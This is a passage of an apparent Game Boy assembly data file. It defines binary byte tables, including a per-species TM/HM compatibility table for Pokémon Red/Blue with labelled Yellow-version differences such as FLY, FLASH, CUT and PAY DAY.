00100011b,00010000b,01000000b,11100110b,00000000b,11000010b,00010001b,01000100b,10111110b,01100000b db 11000010b,00010001b,01000100b,10111110b,01100000b,00100001b,00010001b,01000000b,11100111b,00000000b db 00100001b,00010001b,01000000b,11100111b,00000000b,01000000b,00010011b,01000001b,10100110b,00000000b db 01000000b,00010011b,01000001b,10100110b,00000000b,01010111b,11011011b,01000101b,10101110b,01100000b db 00000011b,00010001b,11000001b,10110110b,00000000b,00010111b,11111010b,01000101b,10101110b,01100000b db 00010111b,11111010b,01000101b,10101110b,01100000b,00101011b,00010000b,01000000b,11110110b,00010000b db 00101011b,00010000b,01000000b,11110110b,00010000b,01000000b,00110001b,01000010b,10100111b,00000000b db 01000000b,00110001b,01000010b,10100111b,00000000b,00000001b,00010011b,01000011b,10100110b,00000000b db 00000001b,00010011b,01000011b,10100110b,00000000b,10111111b,11010000b,11000100b,11110110b,01100000b db 10111111b,11010000b,11000100b,11110110b,01100000b,00010111b,11011000b,11000100b,10110111b,00000000b db 00010111b,11011000b,11000100b,10111111b,01100000b,11111111b,11010010b,11000111b,11111110b,11100000b db 11000000b,00010001b,01000010b,10100110b,00000000b,11000000b,00010001b,01000010b,10100110b,00000000b db 11101011b,10010000b,11000010b,11110110b,00000000b,11111111b,11010000b,11000110b,11110110b,01110000b db 11110111b,11111110b,01000111b,11110110b,10000000b,00001011b,00010000b,01000001b,10100110b,00000000b db 11110111b,11010000b,11000100b,11111110b,01110000b,00100001b,00010000b,01000000b,11100111b,00000000b db 00100001b,00010000b,01000000b,11100111b,00000000b,00100001b,00010000b,01000000b,11100111b,00000000b db 00100001b,00010000b,01000000b,11100111b,00000000b,01000001b,00110000b,01000001b,11100111b,00000000b db 01000001b,00110010b,01000001b,11100111b,00000000b,01010111b,11111010b,01000001b,10111110b,01100000b db 00001001b,10010000b,01000000b,10100111b,00010000b,00110111b,11011010b,01000101b,11111110b,00000000b db 01010111b,11110000b,01000100b,10111111b,01100000b,10010111b,11010000b,01000100b,10110110b,01100000b db 00001011b,01010000b,11000000b,10100110b,00010000b,11100011b,00010000b,01000000b,11100110b,00000000b db 00000000b,00000000b,00000000b,00000000b,00000000b,11100011b,00110000b,01000000b,11100110b,00000000b db 01100011b,00010010b,01000000b,11100110b,00000000b,00000000b,00000000b,00000000b,00000000b,00000000b db 00000011b,00010000b,01000000b,10110111b,00000000b,00100011b,00010000b,01000000b,11110111b,00000000b db 01000011b,00110000b,01000000b,10110111b,00000000b,10000011b,00010000b,01000000b,10110111b,00000000b db 01100001b,00110010b,01000001b,11100111b,00000000b,00100011b,00010000b,11000010b,11100110b,00000000b db 00100011b,01010000b,11000010b,11100110b,00000000b,00100011b,00010000b,11000010b,11100110b,00000000b db 00101111b,01010000b,11000010b,11100110b,00010000b,10000001b,00010000b,11000000b,10100111b,00000000b db 11110111b,11011000b,11000111b,11111110b,11100000b,00100001b,00010000b,01000000b,11110111b,00000000b db 01000001b,00110000b,01000000b,10110111b,00000000b,10000001b,00010000b,01000000b,10110111b,00000000b db 11100011b,00110000b,01000000b,11100111b,00000000b,11100011b,00110000b,01000000b,11100111b,00000000b db 11100011b,00110000b,01000100b,11111111b,01110000b,11110111b,11111010b,01000101b,11111111b,01100000b db 11111111b,11111111b,11000111b,11111111b,11110000b,00001011b,10010000b,01000000b,10110110b,00000000b db 00001011b,10010000b,01000000b,10110110b,00010000b,00001011b,10010000b,01000000b,10110110b,00010000b db 10000011b,00010000b,01000010b,10110111b,10000000b,10000011b,00010000b,01000010b,10110111b,10010000b db 10010111b,11010000b,11000110b,10110111b,11110000b,00111111b,11010000b,11000100b,11111110b,00000000b db 00111111b,11010000b,11000100b,11111110b,00010000b,00111111b,11010000b,11000100b,11111110b,00010000b db 00000011b,00010000b,01000110b,10111111b,11110000b,00000011b,00010000b,01000110b,10111111b,11110000b db 00000001b,00010010b,01000000b,10110111b,00000000b,00000001b,00010010b,01000000b,10110111b,00000000b db 00011001b,00010000b,01000110b,10101111b,01000000b,00011001b,00010000b,01000110b,10101111b,01000000b db 00000011b,00010000b,01000000b,10100110b,00000000b,00000011b,00010000b,01000000b,10100110b,00000000b db 00000001b,00010000b,01000000b,10100111b,00000000b,01100001b,00110000b,01000000b,10100110b,00000000b db 01100001b,00110000b,01000000b,10100110b,00000000b,01010111b,11110000b,01000010b,10110111b,10000000b db 10010111b,11111110b,01000011b,11110110b,10000000b,10010111b,11110010b,01000011b,11110110b,10000000b db 10010111b,11111110b,01000011b,10110111b,10000000b,10010111b,11111110b,01000011b,10110111b,10000000b db 00000001b,00110010b,01000001b,10100111b,00000000b,00000001b,00110010b,01000001b,10100111b,00000000b db 01000011b,00110000b,01000000b,10100111b,10000000b,01010111b,11110000b,01000100b,10100111b,11100000b db 01010111b,11110000b,01000100b,10100111b,11100000b,00001001b,00010000b,01000000b,10100110b,00000000b db 00110111b,01010000b,01000110b,11111111b,10000000b,00110111b,01010000b,01000110b,11111111b,10000000b db 00010111b,11010001b,11000111b,10111110b,11100000b,00110111b,11011000b,01000100b,11110110b,10000000b db 00001001b,00010000b,01000000b,10100110b,10000000b,00001001b,00010000b,01000000b,10100110b,10000000b db 00001001b,00010000b,01000000b,10100110b,10000000b,01010111b,11111010b,01000100b,10111111b,11110000b db 00001001b,00010000b,01000000b,10100110b,00000000b,00001001b,00010000b,01000000b,10100110b,00000000b db 00000001b,00010010b,01000000b,10100111b,00000000b,00100011b,00010000b,01000110b,10111110b,10000000b db 00110111b,11010000b,01000110b,10111110b,10000000b,00000011b,00010010b,01000001b,10110111b,00000000b db 00000011b,00010010b,01000001b,10110111b,00000000b,00000001b,00110010b,01000001b,11110111b,00000000b db 10110111b,11110010b,01000101b,11111111b,00010000b,01000001b,00110010b,01000001b,10100111b,10000000b db 00000000b,00000000b,00000000b,00000000b,00000000b,00000000b,00000000b,00000000b,00000000b,00000000b db 01000011b,00110010b,01000001b,10110111b,00000000b,00000011b,10010001b,11000010b,10100110b,10000000b db 00000011b,10010001b,11000010b,10100110b,10000000b,00000011b,10110010b,11000011b,10110110b,10000000b db 00001001b,10010010b,11000000b,10100111b,00010000b,00000011b,00010001b,11000010b,10110110b,10000000b db 01010111b,11111000b,01000100b,10111110b,11100000b,01010111b,11111000b,11000100b,10111110b,11100000b db 00101001b,00110000b,01000010b,11100111b,10000000b,00001001b,10010000b,01000000b,10100111b,00010000b db 00000011b,00010000b,11000010b,10110110b,10000000b,00001011b,11010000b,11000000b,10100110b,00010000b db 00101001b,10010010b,01000101b,11111111b,10010000b,00011111b,11011000b,01000110b,10111111b,11110000b db 00011111b,11011000b,11000110b,10111111b,11110000b,10000011b,00010000b,11000010b,10110110b,10000000b db 10000011b,00010000b,11000010b,10110110b,10000000b,00100011b,00010000b,11000000b,11110110b,10000000b db 00100011b,00010000b,11000000b,11110110b,10000000b,00100011b,00010001b,11000010b,10110110b,10000000b db 10100001b,00110000b,01000000b,10110111b,10000000b,10100001b,01110000b,01000000b,10110111b,10000000b db 00110111b,11010000b,01000000b,11110111b,00000000b,00100011b,00010000b,01000000b,11110111b,00000000b db 00000001b,10010000b,11000000b,10110111b,00000000b,10000011b,10010010b,01000000b,10110111b,00000000b db 10000011b,10010010b,01000000b,10110111b,00000000b,00100011b,00010000b,01000000b,11100111b,00000000b db 00000011b,10010000b,01000010b,10110110b,10000000b,00000011b,10010000b,11000010b,10110110b,10000000b db 01100001b,00110010b,01000001b,11100111b,10000000b,00000011b,00110010b,01000001b,10110111b,00000000b db 00000000b,00000000b,00000000b,00000000b,00000000b,00000111b,11010000b,11000000b,10110111b,00000000b db 00000111b,11010000b,11000000b,10110111b,00000000b,00110111b,11011010b,01000101b,11111110b,00000000b db 01010111b,11110000b,01000100b,10111111b,01100000b,10010111b,11010000b,01000100b,10110110b,01100000b db 01110111b,11111000b,11000111b,11111110b,11100000b,11110111b,11111110b,01000110b,11110110b,10000000b db 01000011b,00110000b,01000001b,10110111b,00000000b,10000011b,00010000b,01000001b,10110111b,00000000b db 00100011b,00010000b,01000001b,11110111b,00000000b,11100011b,00010000b,11000000b,10110110b,00000000b db 11100011b,00010000b,11000000b,10110110b,00000000b,11110111b,11110000b,11000100b,10110110b,00110000b db 01100011b,00110010b,01000001b,11110111b,00000000b,11000001b,00110010b,01000001b,10110111b,00000000b db 00001001b,00011010b,01000001b,10110111b,10000000b,00011111b,11010000b,01000100b,10110111b,01010000b db 00011111b,11010000b,01000100b,10110111b,01010000b,00011111b,11010000b,01000100b,10110111b,01010000b db 00011111b,11010000b,11000000b,10110111b,00000000b,00011111b,11010000b,11000100b,10110111b,01110000b db 00011111b,11010000b,11000100b,10110111b,01110000b,00000011b,00010000b,01000010b,11110110b,10000000b db 00010111b,11010000b,11000110b,11111110b,10000000b,00010111b,11010000b,11000110b,11111110b,10000000b db 00000011b,10010000b,01000001b,10110110b,00000000b,00000011b,10010000b,01000001b,10110110b,00000000b db 00000011b,00110000b,01000010b,11110111b,10010000b,00000011b,00110000b,01000010b,11110111b,10010000b db 00000000b,00000000b,00000000b,00000000b,00000000b,00000000b,00000000b,00000000b,00000000b,00000000b db 00000001b,00010000b,01000000b,10100111b,00000000b,00000000b,00000000b,00000000b,00000000b,00000000b db 00000001b,00010000b,01000000b,10100111b,00000000b,00001011b,00010000b,01000000b,11100110b,00000000b db 00001011b,00010000b,01000100b,11111110b,01100000b,00011111b,11011000b,01000100b,11111110b,01100000b db 00001011b,00010001b,01000010b,10100110b,10000000b,00001111b,00010001b,01000011b,10110111b,10010000b db 00001111b,00010001b,01000011b,10110111b,10010000b,00000001b,00010000b,01000000b,10110110b,00010000b db 00001001b,00010000b,01000000b,10110111b,00010000b,00000001b,00010010b,01000000b,10110110b,00010000b db 00000001b,10010000b,01000000b,10110111b,00000000b,00000001b,10010000b,01000000b,10110111b,00000000b db 00001011b,00010000b,01000000b,10100110b,00000000b,00011111b,11010000b,01000100b,10110110b,01010000b db 00010111b,11011010b,11000111b,11111111b,11100000b,00000001b,00010000b,01000000b,11110111b,00000000b db 00000001b,00010000b,01000000b,11110111b,00000000b,00000001b,00010000b,01000001b,11100111b,00000000b db 00000001b,00010000b,01000001b,11100111b,00000000b,00000011b,00010000b,01000010b,11100110b,10000000b db 00000011b,00010000b,01000010b,11100110b,10000000b,00000011b,00110010b,01000011b,11110111b,10000000b db 00000011b,00110010b,01000011b,11110111b,10000000b,00010111b,11111000b,11000111b,11111111b,11110000b db 00000001b,00010011b,11000001b,10110110b,00000000b,00000001b,00010011b,11000001b,10110110b,00000000b db 00000011b,00110001b,11000110b,10111110b,11100000b,00000011b,00010001b,11000000b,10110110b,00000000b db 00010111b,11011010b,01000101b,10111110b,01110000b,00000001b,00010000b,01000000b,11110110b,00000000b db 00000001b,00010000b,11000000b,11110110b,00000000b,00000001b,00010000b,01000001b,11100111b,00000000b db 00001011b,10010000b,01000000b,11110110b,00010000b,00001011b,10010000b,01000000b,11110111b,00010000b db 00000001b,00010000b,01000000b,11100111b,00000000b,00000011b,00010000b,01000001b,11110111b,00000000b db 00000001b,00010000b,01000000b,11110111b,00010000b,00000001b,00010000b,01000000b,11110111b,00010000b db 00000011b,00010000b,11000000b,10110110b,00000000b,00000011b,00010000b,11000000b,10110111b,00000000b db 00000011b,00010000b,11000000b,10110111b,00110000b,00010111b,11011000b,11000100b,10111110b,01100000b db 00010111b,11011000b,11000100b,10111110b,01100000b,00000011b,00110000b,01000000b,10110111b,00000000b db 00000011b,00110000b,01000000b,10110111b,00000000b,00000011b,00010000b,11000010b,10110110b,10000000b db 00000011b,00010001b,11000010b,10110110b,10000000b,00000011b,00010000b,11000010b,11110110b,10000000b db 00000011b,00010000b,11000010b,11110110b,10000000b,00000011b,00010000b,11000010b,11110110b,10000000b db 00011011b,11010000b,01000100b,10110110b,01010000b,00011111b,11010000b,01000100b,10110110b,01010000b db 00000011b,00010000b,01000000b,11100110b,00000000b,00000011b,00010001b,01000010b,11100110b,10000000b db 00000011b,00010011b,11000011b,10100111b,10000000b,00000011b,00010011b,11000011b,10100111b,10000000b db 00000011b,00010000b,01000010b,11110111b,10000000b,00000011b,00010010b,01000001b,11100111b,00000000b db 00010111b,11010010b,01000101b,11111111b,01100000b,00010111b,11111000b,01000110b,10110111b,11000000b db 00010111b,11111000b,01000110b,10110111b,11000000b,00011111b,11010000b,11000101b,11111110b,01000000b db 00010111b,11011010b,01000101b,10111111b,01100000b,00010111b,11011010b,11000101b,10111111b,01100000b db 00000011b,00010010b,01000001b,10110111b,00000000b,00000011b,00010010b,01000001b,10110111b,00000000b db 00000000b,00000000b,00000000b,00000000b,00000000b,00000011b,00010010b,01000001b,11100110b,00000000b db 00010111b,11011010b,11000101b,11111110b,01100000b,00001011b,00010000b,01000001b,10110111b,00010000b db 00010111b,11010000b,11000100b,11111110b,01110000b,00010111b,11010000b,11000100b,11111110b,01110000b db 00010111b,11010000b,11000100b,11111110b,01110000b,00000011b,10010011b,01000110b,10111110b,11100000b db 00000011b,10010011b,01000110b,10111110b,11100000b,00001011b,00010000b,01000000b,10110110b,00010000b db 00010111b,11010000b,01000111b,11111110b,11100000b,00010111b,11010000b,11000111b,11111110b,11100000b db 00010111b,11010000b,11000111b,11111110b,11100000b,00000011b,00010000b,01000000b,11100110b,00000000b db 00000011b,00010000b,01000000b,11110111b,00000000b,00000011b,00010000b,01000000b,11110111b,00000000b db 00001011b,10110010b,11000001b,11110111b,00010000b,00000011b,00110010b,01000001b,11100110b,00000000b db 00000011b,00111010b,01000001b,11110110b,00000000b,00000011b,00010000b,01000000b,10110111b,00010000b db 00011111b,11110000b,11000110b,11111111b,11110000b,00000011b,00010000b,11000001b,11110110b,00000000b db 00000011b,00010000b,11000010b,10110110b,10010000b,00000011b,00010000b,11000010b,10110110b,10010000b db 00010111b,11110000b,11000110b,11111110b,11110000b,00000011b,00110000b,01000001b,11100111b,10000000b db 00010111b,11111000b,01000101b,10111111b,01000000b,00010111b,11111000b,01000101b,10111111b,01000000b db 00000011b,00010000b,11000001b,10110110b,00000000b,00000011b,00010000b,11000001b,10110110b,00000000b db 00001011b,00010000b,11000000b,10110110b,00010000b,00001011b,01010000b,11000000b,10110110b,00010000b db 00000011b,00110010b,01000001b,11111110b,11100000b,00000011b,00110010b,01000001b,11111110b,11100000b db 00000011b,00110010b,01000001b,11111110b,11100000b,00000011b,00010000b,11000000b,10110110b,00010000b db 00000011b,00010000b,11000010b,10110110b,10010000b,00000011b,00010000b,11000010b,10110111b,10010000b db 00000000b,00000000b,00000000b,00000000b,00000000b,00000011b,00010001b,11000111b,11111111b,11010000b db 00000011b,00010001b,11000111b,11111111b,11010000b,00010111b,11110001b,11000111b,10111110b,11100000b db 00010111b,11110001b,11000111b,11111110b,11000000b,00010111b,11110001b,11000111b,10111110b,11000000b db 00000011b,00110000b,11000001b,11110111b,10000000b,00011111b,11110000b,11000111b,10110111b,11110000b db 00000011b,00110000b,11000001b,11110111b,00010000b,00000011b,00110010b,01000001b,11110111b,00010000b db 00000011b,00110010b,01000001b,11110111b,00010000b,00000011b,00111010b,01000101b,11111111b,11100000b db 00010111b,11110010b,11000101b,11111111b,01100000b,00000001b,00010010b,01000011b,11100110b,10000000b yellow_changes: dw s_no_changes,s_plus_fly,s_plus_flash,s_plus_cut,s_plus_many,s_minus_payday s_no_changes: db 0,0,0,0,0,0,0,0 s_plus_fly: db 0,"<- HM2: FLY",0,"in Yellow",0,"Only",0,0,0,0,0,0 s_plus_flash: db 0,0,0,0,0,"HM5: FLASH",0,"in Yellow",0,"Only",0 s_plus_cut: db 0,0,0,0,0,"HM1: CUT",0,"in Yellow",0,"Only",0 s_plus_many: db "Yellow Only:",0,"T2: RAZOR WIND",0,"T3: SWORDS DAN.",0,"T5: MEGA KICK",0,"T15: HYPER BEAM",0 db "T17: SUBMISSION",0,"T19: SEISM.TOSS",0,"T40: SKULL BASH",0 s_plus_many_end: s_minus_payday: db 0,0,0,0,"TM16:",0,"PAY DAY",0,"in R/B",0,"Only",0 tmhm_rb: no_changes equ 0 plus_fly equ 1 plus_flash equ 2 plus_cut equ 3 plus_many equ 4 minus_payday equ 5 db 00100101b,11000000b,00011100b,00000011b,11000000b,00010000b,00100000b,no_changes ;Bulbasaur db 00100101b,11000000b,00011100b,00000011b,11000000b,00010000b,00100000b,no_changes ;Ivysaur db 00100101b,11000010b,00011100b,00000011b,11000000b,00010000b,00100000b,no_changes ;Venusaur db 10101101b,11000000b,11110010b,00010011b,11000111b,00010000b,01100100b,no_changes ;Charmander db 10101101b,11000000b,11110010b,00010011b,11000111b,00010000b,01100100b,no_changes ;Charmeleon db 10101101b,11000010b,11110010b,01110011b,11000111b,00010000b,01110100b, plus_fly;Charizard db 10001101b,11111100b,11110000b,00010011b,11000001b,00010000b,01001100b,no_changes ;Squirtle db 10001101b,11111100b,11110000b,00010011b,11000001b,00010000b,01001100b,no_changes ;Wartortle db 10001101b,11111110b,11110000b,01110011b,11000001b,00010000b,01001100b,no_changes ;Blastoise db 00000000b,00000000b,00000000b,00000000b,00000000b,00000000b,00000000b,no_changes ;Caterpie db 00000000b,00000000b,00000000b,00000000b,00000000b,00000000b,00000000b,no_changes ;Metapod db 01010100b,11000010b,00011100b,00001111b,11000010b,00010100b,01000010b, plus_flash;Butterfree db 00000000b,00000000b,00000000b,00000000b,00000000b,00000000b,00000000b,no_changes ;Weedle db 00000000b,00000000b,00000000b,00000000b,00000000b,00000000b,00000000b,no_changes ;Kakuna db 00100100b,11000010b,00011000b,00000011b,11000011b,00010000b,01100000b,no_changes ;Beedrill db 01010100b,11000000b,00010000b,00000011b,11000010b,00110000b,01010000b,no_changes ;Pidgey db 01010100b,11000000b,00010000b,00000011b,11000010b,00110000b,01010000b,no_changes ;Pidgeotto db 01010100b,10000010b,00010000b,00000011b,11000010b,00110000b,01010000b,no_changes ;Pidgeot db 00000101b,11110100b,00010001b,10000011b,01000011b,00010000b,01000000b,no_changes ;Rattata db 00000101b,11111110b,00010001b,10000011b,01000011b,00010000b,01000000b,no_changes ;Raticate db 01010100b,11000010b,00010000b,00000011b,01000010b,00110000b,01010000b,no_changes ;Spearow db 01010100b,11000010b,00010000b,00000011b,01000010b,00110000b,01010000b,no_changes ;Fearow db 00000101b,11000010b,00011000b,01110011b,01000001b,00010001b,01000100b,no_changes ;Ekans db 00000101b,11000010b,00011000b,01110011b,01000001b,00010001b,01000100b,no_changes ;Arbok db 10001101b,11000001b,10110001b,10000011b,11000010b,00011000b,01000010b,no_changes ;Pikachu db 10001101b,11000011b,10110001b,10000011b,11000010b,00011000b,01000010b,no_changes ;Raichu db 00100101b,11000000b,10110000b,01110011b,01000011b,00010001b,01100100b,no_changes ;Sandshrew db 00100101b,11000010b,10110000b,01110011b,01000011b,00010001b,01100100b,no_changes ;Sandslash db 00000101b,11100000b,00010001b,10000011b,11000001b,00010000b,01000000b,no_changes ;Nidoran + db 00000111b,11111100b,00010001b,10000011b,11000001b,00010000b,01000000b,no_changes ;Nidorina db 10001111b,11111111b,11110001b,11100011b,11000101b,00010001b,01001100b,no_changes ;Nidoqueen db 00000111b,11000100b,00010001b,10000011b,11000001b,00010000b,01000000b,no_changes ;Nidoran ^ db 00000111b,11111100b,00010001b,10000011b,11000001b,00010000b,01000000b,no_changes ;Nidorino db 10001111b,11111111b,11110001b,11100011b,11000101b,00010001b,01001100b,no_changes ;Nidoking db 10001101b,11111100b,11110101b,10001111b,11100101b,00011100b,11000110b,no_changes ;Clefairy db 10001101b,11111110b,11110101b,10001111b,11100101b,00011100b,11000110b,no_changes ;Clefable db 00000101b,11000000b,00010000b,00010111b,11000111b,00010000b,01000000b,no_changes ;Vulpix db 00000101b,11000010b,00010000b,00010111b,11000111b,00010000b,01000000b,no_changes ;Ninetales db 10001101b,11111100b,11110101b,10001111b,11000101b,00011100b,11000110b,no_changes ;Jigglypuff db 10001101b,11111110b,11110101b,10001111b,11000101b,00011100b,11000110b,no_changes ;Wigglytuff db 01010100b,11000000b,00011000b,00000011b,01000010b,00010000b,01000000b,no_changes ;Zubat db 01010100b,11000010b,00011000b,00000011b,01000010b,00010000b,01000000b,no_changes ;Golbat db 00100100b,11000000b,00011100b,00000011b,11000000b,00010000b,01100000b,no_changes ;Oddish db 00100100b,11000000b,00011100b,00000011b,11000000b,00010000b,01100000b,no_changes ;Gloom db 00100101b,11000010b,00011100b,00000011b,11000000b,00010000b,01100000b,no_changes ;Vileplume db 00100101b,11000000b,00011100b,00010011b,11000001b,00010000b,01100000b,no_changes ;Paras db 00100101b,11000010b,00011100b,00010011b,11000001b,00010000b,01100000b,no_changes ;Parasect db 01010100b,11000010b,00011100b,00001111b,11000010b,00010100b,01000110b,no_changes ;Venonat db 01001100b,11000010b,00011100b,00001111b,11000010b,00010100b,01000110b,no_changes ;Venomoth db 00000101b,11000000b,00010000b,01110011b,01000000b,00010001b,01100000b, plus_cut;Diglett db 00000101b,11000010b,00010000b,01110011b,01000000b,00010001b,01100000b, plus_cut;Dugtrio db 00000101b,11110001b,00010001b,10000011b,01000011b,00010000b,01000000b,no_changes ;Meowth db 00000101b,11110011b,00010001b,10000011b,01000011b,00010000b,01000000b,no_changes ;Persian db 10001101b,11111101b,11110000b,00010011b,01000011b,00010000b,01001100b,no_changes ;Psyduck db 10001101b,11111111b,11110000b,00010011b,01000011b,00010000b,01001100b,no_changes ;Golduck db 10001101b,11000011b,11110001b,10010011b,01100011b,00010001b,01000100b,no_changes ;Mankey db 10001101b,11000011b,11110001b,10010011b,01100011b,00010001b,01000100b,no_changes ;Primeape db 00000101b,11000000b,00010010b,00010011b,11000111b,00010000b,01000000b,no_changes ;Growlithe db 00000101b,11000010b,00010010b,00010111b,11000111b,00010000b,01000000b,no_changes ;Arcanine db 00000101b,11111100b,00010000b,00001011b,01000001b,00010100b,01001000b,no_changes ;Poliwag db 10001101b,11111100b,11110000b,01101011b,01100001b,00010100b,01001100b,no_changes ;Poliwhirl db 10001101b,11111110b,11110000b,01101011b,01100001b,00010100b,01001100b,no_changes ;Poliwrath db 10001101b,11000000b,11110000b,00001111b,11100001b,00011100b,11000010b,no_changes ;Abra db 10001101b,11000000b,11110000b,00011111b,11100001b,00011100b,11000010b,no_changes ;Kadabra db 10001101b,11000010b,11110000b,00011111b,11100001b,00011100b,11000010b,no_changes ;Alakazam db 10001101b,11000000b,11110000b,01110011b,01100101b,00010001b,01000100b,no_changes ;Machop db 10001101b,11000000b,11110000b,01110011b,01100101b,00010001b,01000100b,no_changes ;Machoke db 10001101b,11000010b,11110000b,01110011b,01100101b,00010001b,01000100b,no_changes ;Machamp db 00100100b,11000000b,00011100b,00000011b,11000000b,00010000b,01100000b,no_changes ;Bellsprout db 00100100b,11000000b,00011100b,00000011b,11000000b,00010000b,01100000b,no_changes ;Weepinbell db 00100101b,11000010b,00011100b,00000011b,11000000b,00010000b,01100000b,no_changes ;Victreebel db 00100100b,11111100b,00011000b,00000011b,11000001b,00010000b,01101000b,no_changes ;Tentacool db 00100100b,11111110b,00011000b,00000011b,11000001b,00010000b,01101000b,no_changes ;Tentacruel db 10000101b,11000000b,11110000b,01110011b,01110100b,00010011b,01000100b,no_changes ;Geodude db 10000101b,11000000b,11110000b,01110011b,01110100b,00010011b,01000100b,no_changes ;Graveler db 10001101b,11000010b,11110000b,01110011b,01110100b,00010011b,01000100b,no_changes ;Golem db 00000111b,11000000b,00010000b,00000011b,11000111b,00010000b,01000000b,no_changes ;Ponyta db 00000111b,11000010b,00010000b,00000011b,11000111b,00010000b,01000000b,no_changes ;Rapidash db 00000101b,11111101b,00010000b,01111111b,11000111b,00011100b,11001110b,no_changes ;Slowpoke db 10001101b,11111111b,11110000b,01111111b,11000111b,00011100b,11001110b,no_changes ;Slowbro db 00000100b,11000000b,00010001b,10000111b,11000010b,00011000b,01000010b,no_changes ;Magnemite db 00000100b,11000010b,00010001b,10000111b,11000010b,00011000b,01000010b,no_changes ;Magneton db 01110101b,11000000b,00010000b,00000011b,00000011b,00010000b,01110000b,no_changes ;Farfetch'd db 00010101b,11000000b,00010000b,00000011b,11000001b,00110000b,11010000b,no_changes ;Doduo db 00010101b,11000010b,00010000b,00000011b,11000001b,00110000b,11010000b,no_changes ;Dodrio db 00000111b,11111101b,00010000b,00000011b,01000001b,00000000b,00001100b,no_changes ;Seel db 00000111b,11111111b,00010000b,00000011b,01000001b,00000000b,00001100b,no_changes ;Dewgong db 00000101b,00000000b,00011001b,10000011b,01010100b,00010010b,01000000b,no_changes ;Grimer db 00000101b,00000010b,00011001b,10000011b,01010100b,00010010b,01000000b,no_changes ;Muk db 00000100b,11111100b,00010000b,00000111b,11010010b,00010010b,11001000b,no_changes ;Shellder db 00000100b,11111110b,00010000b,00000111b,11010010b,00010010b,11001000b,no_changes ;Cloyster db 00000100b,00000000b,00011001b,10001011b,01010000b,01010110b,01000000b,no_changes ;Gastly db 00000100b,00000000b,00011001b,10001011b,01010000b,01010110b,01000000b,no_changes ;Haunter db 10001101b,11000010b,11111001b,10001011b,01110001b,01010110b,01000100b,no_changes ;Gengar db 00000101b,11000000b,00010000b,01110111b,01010001b,00010011b,01000100b,no_changes ;Onix db 10001101b,11000000b,11110000b,00001111b,11100001b,01011100b,11000010b,no_changes ;Drowzee db 10001101b,11000010b,11110000b,00001111b,11100001b,01011100b,11000010b,no_changes ;Hypno db 00100101b,10111110b,00010000b,00000011b,01000001b,00010000b,01101100b,no_changes ;Krabby db 00100101b,10111110b,00010000b,00000011b,01000001b,00010000b,01101100b,no_changes ;Kingler db 00000100b,10000000b,00000001b,10000111b,11010010b,00011010b,01000010b,no_changes ;Voltorb db 00000100b,10000010b,00000001b,10000111b,11010010b,00011010b,01000010b,no_changes ;Electrode db 00000100b,11000000b,00010000b,00001111b,11011000b,00010110b,01000000b,no_changes ;Exeggcute db 00000100b,11000010b,00011100b,00001111b,11011000b,00010110b,01000100b,no_changes ;Exeggutor db 10001101b,11111100b,11110000b,01110011b,01000101b,00010000b,01000100b,no_changes ;Cubone db 10001101b,11111110b,11110000b,01110011b,01000101b,00010000b,01000100b,no_changes ;Marowak db 10001101b,11000000b,11110000b,00000011b,01100011b,00010000b,01000100b,no_changes ;Hitmonlee db 10001101b,11000000b,11110000b,00000011b,01100011b,00010000b,01000100b,no_changes ;Hitmonchan db 10101101b,11111111b,11110001b,11100011b,01000101b,00010000b,01101100b,no_changes ;Lickitung db 00000100b,00000000b,00010001b,10000011b,01010100b,00010010b,01000000b,no_changes ;Koffing db 00000100b,00000010b,00010001b,10000011b,01010100b,00010010b,01000000b,no_changes ;Weezing db 00000111b,11000000b,00010001b,11110111b,01000101b,00010001b,01000100b,no_changes ;Rhyhorn db 10001111b,11111111b,11110001b,11110011b,01000101b,00010001b,01001100b,no_changes ;Rhydon db 10001101b,11111110b,11110101b,10001111b,11101101b,10011100b,11000110b,no_changes ;Chansey db 00100101b,11000010b,00011100b,00000011b,01000001b,00010000b,01100000b,no_changes ;Tangela db 10001101b,11111110b,11110001b,11100011b,01000101b,00010001b,01001100b,no_changes ;Kangaskhan db 00000100b,11111100b,00010000b,00000011b,01000011b,00010000b,01001000b,no_changes ;Horsea db 00000100b,11111110b,00010000b,00000011b,01000011b,00010000b,01001000b,no_changes ;Seadra db 00000110b,11111100b,00010000b,00000011b,01000011b,00010000b,01001000b,no_changes ;Goldeen db 00000110b,11111110b,00010000b,00000011b,01000011b,00010000b,01001000b,no_changes ;Seaking db 00000100b,11111100b,00010001b,10001111b,11000011b,00011100b,11001010b,no_changes ;Staryu db 00000100b,11111110b,00010001b,10001111b,11000011b,00011100b,11001010b,no_changes ;Starmie db 10001101b,11000010b,11110101b,10001111b,11100001b,00011100b,01000010b,no_changes ;Mr. Mime db 00100100b,11000010b,00010000b,00000011b,01000011b,00010000b,01100000b,no_changes ;Scyther db 10001101b,11111110b,11110000b,00001111b,11100001b,00010100b,01000000b,no_changes ;Jynx db 10001101b,11000010b,11110001b,10001111b,11100011b,00011100b,01000110b,no_changes ;Electabuzz db 10001101b,11000010b,11110000b,00001111b,01100101b,00010100b,01000100b,no_changes ;Magmar db 00100101b,11000010b,10110000b,00000011b,01000000b,00010000b,01100000b,no_changes ;Pinsir db 00000111b,11001110b,00010001b,11100011b,01000101b,00000000b,01000100b,no_changes ;Tauros db 00000000b,00000000b,00000000b,00000000b,00000000b,00000000b,00000000b,no_changes ;Magikarp db 00000101b,11111110b,00010011b,10000011b,11000101b,00010000b,01001100b,no_changes ;Gyarados db 00000111b,11111110b,00010111b,10001011b,11000001b,00010100b,01001100b,no_changes ;Lapras db 00000000b,00000000b,00000000b,00000000b,00000000b,00000000b,00000000b,no_changes ;Ditto db 00000101b,11000000b,00010000b,00000011b,11000011b,00010000b,01000000b,no_changes ;Eevee db 00000101b,11111110b,00010000b,00000011b,11000011b,00010000b,01001000b,no_changes ;Vaporeon db 00000101b,11000010b,00010001b,10000011b,11000011b,00011000b,01000010b,no_changes ;Jolteon db 00000101b,11000010b,00010000b,00000011b,11000111b,00010000b,01000000b,no_changes ;Flareon db 00000100b,11001110b,00010001b,10001111b,11000011b,00011100b,11000010b,no_changes ;Porygon db 00000101b,11111100b,00010000b,00000011b,11000000b,00010000b,01001000b,no_changes ;Omanyte db 00000111b,11111110b,10110000b,00000011b,11000001b,00010000b,01001000b,no_changes ;Omastar db 01101101b,11111110b,10110000b,00000011b,11000001b,00010000b,01001000b, plus_many;Kabuto ; Kabuto: +Razor Wind +Swords Dance +Mega Kick +Hyper Beam +Submission +Seismic Toss +Skull Bash db 01101101b,11111110b,10110000b,00000011b,11000001b,00010000b,01101000b, plus_cut;Kabutops db 01010100b,11000010b,00010010b,00000011b,11000110b,00110000b,01010000b,no_changes ;Aerodactyl db 